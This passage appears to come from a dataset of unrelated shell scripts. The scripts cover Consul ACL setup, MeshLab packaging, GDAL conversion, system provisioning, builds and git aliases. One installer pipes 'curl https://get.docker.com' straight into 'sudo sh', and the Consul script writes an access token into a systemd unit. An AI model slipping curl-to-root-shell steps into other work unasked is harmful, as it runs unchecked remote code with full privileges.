Please adjust CONSUL_HTTP_TOKEN and run this from remaining Consul nodes\n# export CONSUL_HTTP_TOKEN=\"\"\n\n# Test for token variable\nif [ -z \"$CONSUL_HTTP_TOKEN\" ]\nthen\n echo \">>>> Please set CONSUL_HTTP_TOKEN environment variable to bootstrap token value before running this script.\"\n echo \">>>> export CONSUL_HTTP_TOKEN=\"\n exit 1\nfi\n\n# Updating this node with default policy of deny\necho \"Applying ACL with default deny\"\nsudo rm /etc/consul.d/acl.hcl\necho 'acl = {\n enabled = true,\n default_policy = \"deny\",\n enable_token_persistence = true\n}' | sudo tee /etc/consul.d/acl.hcl\nsudo chown -R consul:consul /etc/consul.d\n\necho \"Creating token for node: $(hostname)\"\npolicy_id=$(consul acl policy read -name consul-servers | grep -i ID | awk '{print $2}')\ntoken=$(consul acl token create -description $(hostname) -policy-name consul-servers | grep SecretID | awk '{print $2}')\n\necho \"Updating systemd unit file and restarting Consul\"\necho \"Environment=CONSUL_HTTP_TOKEN=${token}\" | sudo tee -a /etc/systemd/system/consul.service\nsudo systemctl daemon-reload\nsudo systemctl restart consul\nsudo systemctl status consul\necho \"Done\""} {"text": "Phitherek/auto-display-manager-crinstall.sh\n#!/bin/sh\n\nif [ -z \"$PREFIX\" ]; then\n\tPREFIX=\"/usr/local\"\nfi\n\necho \"Installing AutoDisplayManager to prefix $PREFIX...\"\nmkdir -p \"$PREFIX/bin\"\ncp bin/* \"$PREFIX/bin\"\necho \"AutoDisplayManager installed!\""} {"text": "jamaps/shell_scriptsFIP_script.sh1-10\n############################\n# shell script for batch renaming, reprojecting, and converting to GTiff\n# works in GDAL version 1.11\n############################\n\n# start runtime\nstart=`date +%s`\n\n# create output folder\nmkdir \"GTiff_output\"\n\n# loop through img files (various extensions)\nfor i in *.{jpg,JPG,tif,tiff,jp2} # add more ext HERE\ndo\n\t# print info:\n\techo \"----------------------------\"\n\techo \"$i\"\n\tgdalinfo \"$i\"\n\techo \"----------------------------\"\n\t# copy filename without extension:\n\tf=\"${i%.*}\"\n\t# convert to geotiff and put in output folder:\n\tgdal_translate -of \"GTiff\" \"$i\" GTiff_output/\"$f\".tif\ndone\n\n# change working directory to output folder:\ncd GTiff_output\n\n# loop through output folder\nfor t in *.tif\ndo\n\techo \"$t\"\n\t# new file name\n\tn=$(echo $t | tr ' ' '_' | tr '-' '_' )\n\tm=\"${n%.*}\"\n\t# reproject to WGS84\n\tgdalwarp -srcnodata None -dstnodata None -dstalpha -t_srs \"EPSG:4326\" \"$t\" \"$n.tif\"\n\t# print info of reprojected raster\n\techo \"----------------------------\"\n\techo \"$n\"\n\tgdalinfo \"$n.tif\"\n\techo \"----------------------------\"\n\t# remove unprojected raster\n\trm \"$t\"\ndone\n\n# remove extra \".tif\" in name\nfor q in *.tif\ndo\n\tm=\"${q%.*}\"\n\tmv \"$q\" \"$m\"\ndone\nend=`date +%s`\n\n# print results\necho \"----------------------------\"\necho \"Converted to WGS84 GTiff:\"\nfor z in *.tif\ndo\n\techo \"$z\"\ndone\n# end runtime and print\nruntime=$((end-start))\necho \"----------------------------\"\necho \"Elapsed Time:\"\necho \"$runtime seconds\"\necho \"----------------------------\"\necho \"----------------------------\""} {"text": "#!/bin/bash\n# this is a script shell for setting up the application bundle for the mac\n# It should be run (not sourced) in the meshlab/src/install/macx dir.\n#\n# It does all the dirty work of moving all the needed plugins and frameworks into the package and runs the \n# install_tool on them to change the linking path to the local version of qt\n\n# All the stuff to be copies is in the 'distrib' folder. \ncd ../../distrib\n\nif QTDIR=\"\" \nthen\nQTDIR=$HOME/Qt/5.9.4/clang_64\necho \"Warning QTDIR was not set. trying to guess it to\" $QTDIR\nfi\n\nif ! [ -e $QTDIR ] \nthen\necho \"Missing QT; QTDIR was wrong:\" $QTDIR\nfi\n\n# change this according to the shadow build dir.\n# is the root of the build e.g. where the meshlab_full.pro it can be something like \nBUILDPATH=\"../../build-meshlab_full-Desktop_Qt_5_9_4_clang_64bit2-Release\"\n\nAPPNAME=\"meshlab.app\"\necho \"Current folder is\" `pwd`\necho \"Hopefully I should find: \" $BUILDPATH/distrib/$APPNAME\necho \"Or alternatively in : \" ../distrib/$APPNAME\nif ! [ -e $BUILDPATH ] \nthen\n BUILDPATH=..\n echo \"Hopefully I should find\" $BUILDPATH/distrib/$APPNAME\nfi\n\nAPPFOLDER=$BUILDPATH/distrib/$APPNAME\nBUNDLE=\"MeshLabBundle\"\n\n\nif [ -e $APPFOLDER -a -d $APPFOLDER ]\nthen\n echo \"------------------\"\nelse\n echo \"Started in the wrong dir: I have not found the MeshLab.app\"\n exit 0\nfi\n\n# Start by erasing everything\nrm -r -f $BUNDLE\n\necho \"Copying the built app into the bundle\"\nmkdir $BUNDLE\ncp -r $APPFOLDER $BUNDLE\nmkdir $BUNDLE/$APPNAME/Contents/PlugIns\n# copy the files icons into the app.\ncp ../meshlab/images/meshlab_obj.icns $BUNDLE/$APPNAME/Contents/Resources\n\nfor x in $BUILDPATH/distrib/plugins/*.dylib\ndo\ncp ./$x $BUNDLE/meshlab.app/Contents/PlugIns/\ndone\n\nfor x in $BUILDPATH/distrib/plugins/*.xml\ndo\ncp ./$x $BUNDLE/meshlab.app/Contents/PlugIns/\ndone\n\nfor x in $BUNDLE/meshlab.app/Contents/plugins/*.dylib\ndo\n install_name_tool -change libcommon.1.dylib @executable_path/libcommon.1.dylib $x\ndone\n\necho 'Copying samples and other files'\n\ncp ../../LICENSE.txt $BUNDLE\ncp ../../docs/readme.txt $BUNDLE\n\nmkdir $BUNDLE/sample\nmkdir $BUNDLE/sample/images\nmkdir $BUNDLE/sample/normalmap\n\ncp sample/texturedknot.ply $BUNDLE/sample\ncp sample/texturedknot.obj $BUNDLE/sample\ncp sample/texturedknot.mtl $BUNDLE/sample\ncp sample/TextureDouble_A.png $BUNDLE/sample\ncp sample/Laurana50k.ply $BUNDLE/sample\ncp sample/duck_triangulate.dae $BUNDLE/sample\ncp sample/images/duckCM.jpg $BUNDLE/sample/images\ncp sample/seashell.gts $BUNDLE/sample\ncp sample/chameleon4k.pts $BUNDLE/sample\ncp sample/normalmap/laurana500.* $BUNDLE/sample/normalmap\ncp sample/normalmap/matteonormb.* $BUNDLE/sample/normalmap\n\n\nmkdir $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX \ncp plugins/U3D_OSX/IDTFConverter.out $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX\ncp plugins/U3D_OSX/IDTFConverter.sh $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX\ncp plugins/U3D_OSX/libIFXCore.so $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX\nmkdir $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX/Plugins\ncp plugins/U3D_OSX/Plugins/libIFXExporting.so $BUNDLE/$APPNAME/Contents/plugins/U3D_OSX/Plugins\n\nmkdir $BUNDLE/$APPNAME/Contents/textures \ncp textures/*.png $BUNDLE/$APPNAME/Contents/textures/\nmkdir $BUNDLE/$APPNAME/Contents/textures/cubemaps \ncp textures/cubemaps/uffizi*.jpg $BUNDLE/$APPNAME/Contents/textures/cubemaps\nmkdir $BUNDLE/$APPNAME/Contents/textures/litspheres \ncp textures/litspheres/*.png $BUNDLE/$APPNAME/Contents/textures/litspheres\n\nmkdir $BUNDLE/$APPNAME/Contents/shaders \ncp shaders/*.gdp shaders/*.vert shaders/*.frag shaders/*.txt $BUNDLE/$APPNAME/Contents/shaders\n\n#added rendermonkey shaders\nmkdir $BUNDLE/$APPNAME/Contents/shaders/shadersrm \ncp shaders/shadersrm/*.rfx $BUNDLE/$APPNAME/Contents/shaders/shadersrm\n#added shadowmapping shaders\ncp -r shaders/decorate_shadow $BUNDLE/$APPNAME/Contents/shaders\n\necho \"Changing the paths of the qt component frameworks using the qt tool macdeployqt\"\n\nif [ -e $QTDIR/bin/macdeployqt ]\nthen\necho\n$QTDIR/bin/macdeployqt $BUNDLE/$APPNAME -verbose=2\nelse\nmacdeployqt $BUNDLE/$APPNAME -verbose=2\nfi\n\ncd ../install/macx\n# final step create the dmg using appdmg\n# appdmg is installed with 'npm install -g appdmg'\",\nrm -f ../../distrib/MeshLab201804.dmg \nappdmg meshlab_dmg.json ../../distrib/MeshLab201804.dmg"} {"text": "scripts/setup.sh\n#!/usr/bin/env bash\n\ndefault_user=user\nrelease_codename=$(lsb_release -cs)\n\ncd /tmp\n\n# Setup swap file ##############################################################\nif [ -f /swapfile ]; then\n swapoff /swapfile\n rm /swapfile\nfi\nfallocate -l 1024M /swapfile\nchmod 0600 /swapfile\nmkswap /swapfile\nsysctl -w vm.swappiness=1\nswapon /swapfile\nmkdir -p /etc/sysctl.d\necho 'vm.swappiness = 1' >> /etc/sysctl.d/99-sysctl.conf\necho '/swapfile none swap deafults 0 0' >> /etc/fstab\n\n# Configure package manager ####################################################\nsed -i.bak \\\n \"s|# \\(deb http://archive.canonical.com/ubuntu ${release_codename} partner\\)|\\1|g\" \\\n /etc/apt/sources.list\napt-get update -qq\n\n# Configure Grub ###############################################################\nsed -i.bak \\\n 's|\\(GRUB_CMDLINE_LINUX_DEFAULT=\"\\).*?\"|\\1\"|' \\\n /etc/default/grub\nupdate-grub\n\n# Check for WIFI hardware ######################################################\npci_wifi_count=$(lspci | egrep -ic 'wifi|wlan|wireless')\nusb_wifi_count=$(lsusb | egrep -ic 'wifi|wlan|wireless')\nwifi_count=$(( $pci_wifi_count + $usb_wifi_count ))\n[ ${wifi_count} -gt 0 ] && WIFI=true || WIFI=false\nwifi_packages=\"rfkill dialog wireless-tools wpasupplicant network-manager\"\n\n# Install default packages #####################################################\ncore_packages=\"ufw sudo git\"\n$WIFI && core_packages=\"${core_packages} ${wifi_packages}\"\napt-get install -y ${core_packages}\n\n\n# Setup the public folders\nmkdir -p /home/public/bin\ncp -r /tmp/scripts /home/public/bin/\ncat >> /home/public/bin/env.sh << EOF\nexport PS1=\"-\\n\\h (\\u)\\n\\w\\nsh> \"\nalias ll='ls -l'\nalias lla='ls -la'\nEOF\ncat >> /home/public/bin/add_env.sh << EOF\nmkdir -p ~/bin\ncp env.sh ~/bin/\ncat >> ~/.profile << EEOF\n\n# Load the environment script if it exists.\n[ -f ~/bin/env.sh ] && . ~/bin/env.sh\n\nEEOF\n. ~/bin/env.sh\nEOF\nchown -R root:users /home/public\nchmod -R 755 /home/public/bin\n\n# Configure Networking ########################################################\n# Disable IPv6\nif [ -z /etc/sysctl.d/20-disable-ipv6.conf ]; then\ncat >> /etc/sysctl.d/20-disable-ipv6.conf << EOF\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOF\nfi\n\n$WIFI && {\nsystemctl start NetworkManager\nsystemctl enable NetworkManager\nsed -i.bak \\\n 's/^dns=dnsmasq/#dns=dnsmasq/' \\\n /etc/NetworkManager/NetworkManager.conf\ncat >> /home/public/bin/env.sh << EOF\nalias scanap='nmcli d wifi list'\nEOF\n}\n\n# Cleanup temporary settings, update the default user and reboot ###############\nsed -i.bak 's/^\\(PermitRootLogin\\) yes$/\\1 no/' /etc/ssh/sshd_config\n\nusermod -aG users,sudo,ssh ${default_user}\nln -s /home/public /home/${default_user}/public\nusermod -p '!' root\n\n\n# Setup firewall\nufw allow ssh\nufw default deny\nufw enable << EOF\ny\nEOF\n\nshutdown -r now"} {"text": "#!/bin/bash\n\nSSH_ENV=\"$HOME/.ssh/environment\"\n\nfunction start_agent {\n echo \"Initialising new SSH agent...\"\n (umask 066; /usr/bin/ssh-agent > \"${SSH_ENV}\")\n . \"${SSH_ENV}\" > /dev/null\n /usr/bin/ssh-add;\n}\n\n# Source SSH settings, if applicable\n\nif [ -f \"${SSH_ENV}\" ]; then\n . \"${SSH_ENV}\" > /dev/null\n ps -ef | grep ${SSH_AGENT_PID} | grep ssh-agent$ > /dev/null || {\n start_agent;\n }\nelse\n start_agent;\nfi"} {"text": "#!/bin/bash\n\nESSDAQROOT=$HOME/essproj\n\n. $ESSDAQROOT/essdaq/config/mjc/common.sh\n\nEFU_IP=$MJCWS_I\nKAFKA_IP=$MJCWS_I\nDAQUIRI_IP=$MJCWS_II\nGRAFANA_IP=$ECDC_GRAFANA\n\nUDP_ETH=enp0s25\n\nDUMP_PATH=/tmp/essdaq"} {"text": "msg \"Install packages\"\n${chroot} << CHROOT\npacman --noconfirm --needed -S virtualbox-guest-utils-nox virtualbox-guest-modules-arch\ngpasswd -a ${username} vboxsf\nsystemctl enable vboxservice.service\nCHROOT"} {"text": "#!/bin/bash\n\nmyRun() {\n echo \"$PROCCESS process: 1024, 2048, 4096, 8192, 16384, 32768, 65536, 131072 \"\n mpirun -np $PROCCESS ./mpi_mat_vect_time.o 1024 1024\n mpirun -np $PROCCESS ./mpi_mat_vect_time.o 2048 2048\n mpirun -np $PROCCESS ./mpi_mat_vect_time.o 4096 4096\n mpirun -np $PROCCESS ./mpi_mat_vect_time.o 8192 8192\n mpirun -np $PROCCESS ./mpi_mat_vect_time.o 16384 16384\n # mpirun -np $PROCCESS ./mpi_mat_vect_time.o 32768 32768\n # mpirun -np $PROCCESS ./mpi_mat_vect_time.o 65536 65536\n # mpirun -np $PROCCESS ./mpi_mat_vect_time.o 131072 131072\n}\n \nPROCCESS=1\nmyRun\n\nPROCCESS=2\nmyRun\n\nPROCCESS=4\nmyRun\n\nPROCCESS=8\nmyRun\n\nPROCCESS=16\nmyRun"} {"text": "agave-jobs/jobs-core/src/test/resources/software/boilerplate-1.0/wrapper.sh\n\necho \"input1: ${input1}\"\necho \"myIntegerParameter: ${myIntegerParameter}\"\necho \"myEnumerationParameter: ${myEnumerationParameter}\"\necho \"myStringParameter: ${myStringParameter}\"\n\nsleep 30\n\nbin/date"} {"text": "rc/zshrc.d/00-aliases-common.sh\nalias inflate='ruby -r zlib -e \"puts Zlib::Inflate.inflate(STDIN.read)\"'\n\n# aliases\nif command bat --version 1>/dev/null ; then\n alias ccat='bat'\nelse\n alias ccat='cat'\nfi\n\nalias k=kubectl"} {"text": "AstroHuntsman/huntsman-drp\n# Setup the LSST bash env\nsource ${LSST_HOME}/loadLSST.bash\n\n# Use the EUPS package manager to set up required packages\neups declare obs_huntsman v1 -r \"${LSST_HOME}/obs_huntsman\"\neups declare huntsman_drp v1 -r \"${LSST_HOME}/huntsman-drp\"\nsetup obs_huntsman v1\nsetup huntsman_drp v1\nsetup display_firefly\n\n# This seems to be the only way of getting the logs to work properly\nuserid=$(id -u ${USER})\nsudo chown ${userid}:${userid} ${HUNTSMAN_LOG_DIR}\nsudo chown ${userid}:${userid} ${HUNTSMAN_ARCHIVE}"} {"text": "generate-workload-with-slo.sh\n./burst.sh with-slo 500,500,500"} {"text": "1-10\n#!/usr/bin/env bash\n\nOUTPUT=$1\n\nTYPE=1\nICONS=\"..\"\n\ncurrent=$(echo \"$(bspc query -D -d --names) - 1\" | bc)\n\nicon_set=$(echo ${ICONS} | cut -d'.' -f ${TYPE})\nicon=${icon_set:${current}:1}\n\necho -en \"%{T3}${icon}%{T1}\" > $OUTPUT"} {"text": "#!/bin/bash\n###############################################################################\n#\n# FIO tools\n#\n# Created by CryptoLions.io \n# Git Hub: https://github.com/fioprotocol/fio.start\n#\n###############################################################################\n\n# 1000000000 = 1.000000000 FIO\n\nreceiverFiopubKey=\"\"\nfrom_actor=\"welcome.fio\"\namount=\"1000000000\"\nmaxfee=2000000000\ntpid=\"\"\n\n./clio.sh push action fio.token trnsfiopubky '{\"payee_public_key\": \"'$receiverFiopubKey'\",\"amount\": \"'$amount'\", \"max_fee\": '$maxfee', \"tpid\": \"'$tpid'\", \"actor\": \"'$from_actor'\"}' -p $from_actor@active\n\n#Example\n#./clio.sh push action fio.token trnsfiopubky '{\"payee_public_key\": \"\",\"amount\": \"1000000000000\", \"max_fee\": 2000000000, \"tpid\": \"\", \"actor\": \"welcome.fio\"}' -p welcome.fio@active"} {"text": "1-10\n#!/usr/bin/env bash\ninfo() {\n\techo INFO: $*\n}\n\nbullet() {\n\techo \"INFO: -\" \"$@\"\n}\n\nhas_curl() {\n\thash curl 2>/dev/null\n}\n\nhas_docker() {\n\tif hash docker 2>/dev/null; then\n\t\tlocal version=$(docker -v | sed 's/^Docker version \\([^,]*\\),.*/\\1/')\n\t\tlocal versionMax=$(printf \"$version\\n1.9.1\" | sort -V | tail -1)\n\t\tif [ \"$versionMax\" = \"1.9.1\" ]; then\n\t\t\tbullet \"docker v1.10+ (missing - $version is too old)\"\n\t\t\treturn 1\n\t\telse\n\t\t\tbullet \"docker v1.10+ (found)\"\n\t\t\treturn 0\n\t\tfi\n\telse\n\t\tbullet \"docker v1.10+ (missing)\"\n\t\treturn 1\n\tfi\n}\n\nhas_docker_compose() {\n\tif hash docker-compose 2>/dev/null; then\n\t\t# this comparison should keep working for a while\n\t\tlocal version=$(docker-compose -v | sed 's/^docker-compose version \\([^,]*\\),.*/\\1/')\n\t\tlocal versionMax=$(printf \"$version\\n1.5.2\" | sort -V | tail -1)\n\t\tif [ \"$versionMax\" = \"1.5.2\" ]; then\n\t\t\tbullet \"docker-compose v1.6+ (missing - $version is too old)\"\n\t\t\treturn 1\n\t\telse\n\t\t\tbullet \"docker-compose v1.6+ (found)\"\n\t\t\treturn 0\n\t\tfi\n\telse\n\t\tbullet \"docker-compose v1.6+ (missing)\"\n\t\treturn 1\n\tfi\n}\n\nhas_docker_group() {\n\tgroups $user | grep &>/dev/null '\\bdocker\\b'\n}\n\ninstall_curl() {\n\tinfo Installing curl...\n\tsudo apt-get update\n\tsudo apt-get install -y curl\n}\n\ninstall_docker() {\n\tinfo \"It's coffee time 'cause this will take a while\"\n\tcurl -sSL https://get.docker.com | sudo sh\n}\n\ninstall_docker_compose() {\n\tbullet \"installing docker-compose\"\n\tlocal release=$(curl -fL https://api.github.com/repos/docker/compose/releases/latest -H 'accept: application/json' 2> /dev/null)\n\tif [ $? -ne 0 ]; then\n\t\tbullet \"docker-compose install failed: unable to query for latest available version\"\n\t\treturn 1\n\tfi\n\tlocal latest=$(echo \"$release\" | grep tag_name | sed -e 's/.*\"tag_name\":[^\"]*\"\\([^\"]*\\)\".*/\\1/')\n\tif [ \"$latest\" == \"\" ]; then\n\t\tbullet \"docker-compose install failed: unable to determine latest available version\"\n\t\treturn 1\n\tfi\n\tcurl -L https://github.com/docker/compose/releases/download/$latest/docker-compose-`uname -s`-`uname -m` > /tmp/docker-compose 2> /dev/null\n\tsudo mv /tmp/docker-compose /usr/local/bin/\n\tsudo chmod +x /usr/local/bin/docker-compose\n}\n\ninstall_docker_group() {\n\tinfo \"Granting $user access to run docker commands without sudo. You'll need to re-login for changes to take affect.\"\n\tsudo usermod -a -G docker $user\n}\n\ntt_install() {\n\tlocal user=${SUDO_USER:-$USER}\n\tlocal queue=\"\"\n\n\tinfo \"checking dependencies:\"\n\n\tif has_curl; then\n\t\tbullet \"curl (found)\"\n\telse\n\t\tbullet \"curl (missing)\"\n\t\tqueue=\"curl\"\n\tfi\n\n\tif ! has_docker; then\n\t\tqueue=\"$queue docker\"\n\tfi\n\n\tif ! has_docker_compose; then\n\t\tqueue=\"$queue docker_compose\"\n\tfi\n\n\tif has_docker_group; then\n\t\tbullet \"user is part of 'docker' group (found)\"\n\telse\n\t\tbullet \"user is part of 'docker' group (missing)\"\n\t\tqueue=\"$queue docker_group\"\n\tfi\n\n\tif [ ! -z \"$queue\" ]; then\n\t\techo\n\t\t# skip the read (effectively saying \"yes\") if in a CI environment\n\t\tif [ \"$CI\" != \"true\" ]; then\n\t\t\tread -n 1 -p \"Install missing dependencies? (Y/n)\" CONFIRM\n\t\tfi\n\n\t\tif [ \"$CONFIRM\" == \"n\" -o \"$CONFIRM\" == \"N\" ]; then\n\t\t\techo\n\t\t\tinfo \"You chose not to install required dependencies, there be dragons.\"\n\t\telse\n\t\t\techo\n\t\t\tfor dep in $queue; do\n\t\t\t\techo\n\t\t\t\t\"install_$dep\"\n\t\t\tdone\n\t\tfi\n\tfi\n}"} {"text": "#!/bin/sh\n# wget --no-host-directories --force-directories https://vectortiles.geoportail.lu/data/hillshade-lu.json\n\nrm -rf ios_bundle; mkdir ios_bundle; cd ios_bundle\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/data/omt-geoportail-lu.json\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/fonts/Noto%20Sans%20Regular/0-255.pbf\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/fonts/Noto%20Sans%20Regular/256-511.pbf\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/fonts/Noto%20Sans%20Bold/0-255.pbf\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/fonts/Noto%20Sans%20Bold/256-511.pbf\nwget --no-host-directories --force-directories https://vectortiles.geoportail.lu/styles/roadmap/style.json\nsed 'sYhttps://vectortiles.geoportail.lu/data/omt-geoportail-lu.jsonYhttp://localhost:8765/data/omt-geoportail-lu.jsonYg' -i styles/roadmap/style.json\nsed 'sYhttps://vectortiles.geoportail.lu/fonts/Yhttp://localhost:8765/fonts/Yg' -i styles/roadmap/style.json\nwget http://download.geoportail.lu/index.php/s/o7ZmTx7ySpgZgF7/download -O omt-geoportail-lu.mbtiles"} {"text": "ansible/roles/ndouglas.deploy_dotfiles/files/bash/torrents/get_current_instance_id.sh\n#!/usr/bin/env bash\n\n# Retrieve the numeric instance ID for an instance for the specified torrent\n# Returns -1 if not found.\ntorrent_get_current_instance_id() {\n : \"${1?\"Usage: ${FUNCNAME[0]} TORRENT_FILE|DOMAIN\"}\";\n torrent_file=\"${1}\";\n if [ -f \"${torrent_file}\" ]; then\n torrent_get_current_instance_id \"$(torrent_get_safe_announce_domain \"${torrent_file}\")\";\n else\n safe_domain=\"${1}\";\n safe_domain_path=\"/torrents/domains/${safe_domain}\";\n if [ -L \"${safe_domain_path}\" ]; then\n original=\"$(readlink -f \"${safe_domain_path}\")\";\n basename \"${original}\" | grep -oE '[0-9]+' | bc;\n else\n return 255;\n fi;\n fi\n}"} {"text": "TEMP_FILE=/tmp/uav_number.txt\nBLOCKING=\"\"\n\nif [ ! -e $TEMP_FILE ]; then\n BLOCKING=1\nfi\n\n~/.i3/detacher.sh $BLOCKING \"rostopic list | grep reference | head -n 1 | tr '/' ' ' | awk '{print \\$1}' | sed 's/uav//' >> $TEMP_FILE\" > /dev/null 2>&1\ncat $TEMP_FILE | tail -n 1"} {"text": "#!/usr/bin/env bash\n\nset -o errexit\n\neval \"$(command conda 'shell.bash' 'hook' 2> /dev/null)\"\n\n# TMP: Upstream patches\ngit clone https://github.com/xnd-project/rbc /tmp/rbc\n\npushd /tmp/rbc\n\nconda env create --force --file .conda/environment.yml\n\nconda activate rbc\n\npytest --capture=no --exitfirst --verbose rbc/"} {"text": "# to be called from repo root\n\ncp skysail.um.httpbasic/generated/skysail.um.httpbasic.jar ../skysail-server/cnf/localrepo/skysail.um.httpbasic/skysail.um.httpbasic-0.2.1.jar\ncp skysail.um.httpbasic/generated/skysail.um.httpbasic.jar ../skysail-notes/cnf/localrepo/skysail.um.httpbasic/skysail.um.httpbasic-0.2.1.jar"} {"text": "0\n#!/usr/bin/env bash\n\n: ${OS?}\n: ${ARCH?}\n\nset -eux\n\nBASE_DIR=$(cd $(dirname $0)/.. && pwd)\n\nFFMPEG_VERSION=4.4.1\nFFMPEG_BUILD_TAG=v4.4.1-1\n\nTMP_BUILD_DIR=$BASE_DIR/$(mktemp -d build.XXXXXXXX)\ntrap 'rm -rf $TMP_BUILD_DIR' EXIT\n\ncd $TMP_BUILD_DIR\n\nCMAKE_ARGS=(\n -DCMAKE_VERBOSE_MAKEFILE=ON\n -DCMAKE_BUILD_TYPE=Release\n -DBUILD_TOOLS=ON\n -DBUILD_TESTS=OFF\n -DBUILD_SHARED_LIBS=OFF\n)\n\nmkdir ffmpeg\nexport FFMPEG_DIR=$TMP_BUILD_DIR/ffmpeg\n\ncase $OS in\n linux)\n case $ARCH in\n x86_64)\n CMAKE_ARGS+=(\n -DCMAKE_C_FLAGS='-static -static-libgcc -static-libstdc++'\n -DCMAKE_CXX_FLAGS='-static -static-libgcc -static-libstdc++'\n )\n TARGET=$ARCH-linux-gnu\n ;;\n i686)\n CMAKE_ARGS+=(\n -DCMAKE_C_FLAGS='-m32 -static -static-libgcc -static-libstdc++'\n -DCMAKE_CXX_FLAGS='-m32 -static -static-libgcc -static-libstdc++'\n )\n TARGET=$ARCH-linux-gnu\n ;;\n *)\n echo \"Unsupported architecture: $ARCH\"\n exit 1\n ;;\n esac\n ;;\n windows)\n TARGET=$ARCH-w64-mingw32\n perl -pe \"s!{EXTRA_PATHS}!$FFMPEG_DIR!g\" $BASE_DIR/package/toolchain-mingw.cmake.in | perl -pe \"s!{ARCH}!$ARCH!g\" >toolchain.cmake\n CMAKE_ARGS+=(\n -DCMAKE_TOOLCHAIN_FILE=$TMP_BUILD_DIR/toolchain.cmake\n -DCMAKE_C_FLAGS='-static -static-libgcc -static-libstdc++'\n -DCMAKE_CXX_FLAGS='-static -static-libgcc -static-libstdc++'\n )\n ;;\n macos)\n CMAKE_ARGS+=(\n -DCMAKE_CXX_FLAGS=\"-stdlib=libc++\"\n )\n case $ARCH in\n x86_64)\n CMAKE_ARGS+=(\n -DCMAKE_OSX_DEPLOYMENT_TARGET=\"10.8\"\n -DCMAKE_OSX_ARCHITECTURES=\"x86_64\"\n )\n TARGET=x86_64-apple-macos10.8\n ;;\n arm64)\n CMAKE_ARGS+=(\n -DCMAKE_OSX_DEPLOYMENT_TARGET=\"11.0\"\n -DCMAKE_OSX_ARCHITECTURES=\"arm64\"\n )\n TARGET=arm64-apple-macos11\n ;;\n *)\n echo \"Unsupported architecture: $OS/$ARCH\"\n exit 1\n ;;\n esac\n ;;\n *)\n echo \"Unsupported os: $OS\"\n exit 1\n ;;\nesac\n\ncurl -s -L \"https://github.com/acoustid/ffmpeg-build/releases/download/$FFMPEG_BUILD_TAG/ffmpeg-$FFMPEG_VERSION-audio-$TARGET.tar.gz\" | tar xz\nmv ffmpeg-*/ffmpeg-*/* $FFMPEG_DIR\n\nCMAKE_ARGS+=(\n -DCMAKE_INSTALL_PREFIX=$BASE_DIR/artifacts\n)\n\n#case $OS in\n#windows)\n# perl -pe \"s!{EXTRA_PATHS}!$FFMPEG_DIR!g\" $BASE_DIR/package/toolchain-mingw.cmake.in | perl -pe \"s!{ARCH}!$ARCH!g\" >toolchain.cmake\n# CMAKE_ARGS+=(\n# -DCMAKE_TOOLCHAIN_FILE=$TMP_BUILD_DIR/toolchain.cmake\n# -DCMAKE_C_FLAGS='-static -static-libgcc -static-libstdc++'\n# -DCMAKE_CXX_FLAGS='-static -static-libgcc -static-libstdc++'\n# -DHAVE_AV_PACKET_UNREF=1\n# -DHAVE_AV_FRAME_ALLOC=1\n# -DHAVE_AV_FRAME_FREE=1\n# )\n# STRIP=$ARCH-w64-mingw32-strip\n# ;;\n#linux)\n# case $ARCH in\n# i686)\n# CMAKE_ARGS+=(\n# -DCMAKE_C_FLAGS='-m32 -static -static-libgcc -static-libstdc++'\n# -DCMAKE_CXX_FLAGS='-m32 -static -static-libgcc -static-libstdc++'\n# )\n# ;;\n# x86_64)\n# CMAKE_ARGS+=(\n# -DCMAKE_C_FLAGS='-static -static-libgcc -static-libstdc++'\n# -DCMAKE_CXX_FLAGS='-static -static-libgcc -static-libstdc++'\n# )\n# ;;\n# arm*)\n# perl -pe \"s!{EXTRA_PATHS}!$FFMPEG_DIR!g\" $BASE_DIR/package/toolchain-armhf.cmake.in | perl -pe \"s!{ARCH}!$ARCH!g\" >toolchain.cmake\n# CMAKE_ARGS+=(\n# -DCMAKE_TOOLCHAIN_FILE=$TMP_BUILD_DIR/toolchain.cmake\n# -DCMAKE_C_FLAGS='-static -static-libgcc -static-libstdc++'\n# -DCMAKE_CXX_FLAGS='-static -static-libgcc -static-libstdc++'\n# )\n# STRIP=arm-linux-gnueabihf-strip\n# ;;\n# *)\n# echo \"unsupported architecture ($ARCH)\"\n# exit 1\n# esac\n# ;;\n#*)\n# echo \"unsupported OS ($OS)\"\n# exit 1\n# ;;\n#esac\n\ncmake \"${CMAKE_ARGS[@]}\" $BASE_DIR\n\nVERSION=${GITHUB_REF##*/}\n\nmake\nmake install/strip"} {"text": "micperr/preztocontrib/micper/dev/git.zsh\nalias g='git'\nalias gb='git branch'\nalias gs='git status'\nalias gac='git add . && git commit -m'\nalias gacu='git add -u . && git commit -m'\nalias gc='git checkout'\nalias gl='git log --topo-order --pretty=format:\"${_git_log_medium_format}\"'\n\nalias gFileReset='git checkout --'\nalias gFileUndoAdd='git reset HEAD'\n\nalias gUpdateSubmodules='git submodule update --recursive --remote'\nalias gUntrackRemote='git branch --unset-upstream'\n\nalias gMyCommits='git log --author=\"$(git config user.name)\"'"} {"text": "#!/bin/bash -e\n#\n# Script for implementation step\n#\n# Author: ()\n#######################################################################################################################\n\n# Check whether a serial device with the given name exists.\nif [ ! -c '{serial_device}' ]\nthen\n echo \"Not found\"\n exit\nfi\n\n# Check whether the serial device is readible and writable.\nif [ ! -r '{serial_device}' -o ! -w '{serial_device}' ]\nthen\n echo 'Not accessible'\n exit\nfi\n\n# Everything went well.\necho \"Success\""} {"text": "open-power-ref-design-toolkit/ceph-services\n#!/usr/bin/env bash\n#\n# Copyright 2016,2017 IBM Corp.\n#\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR 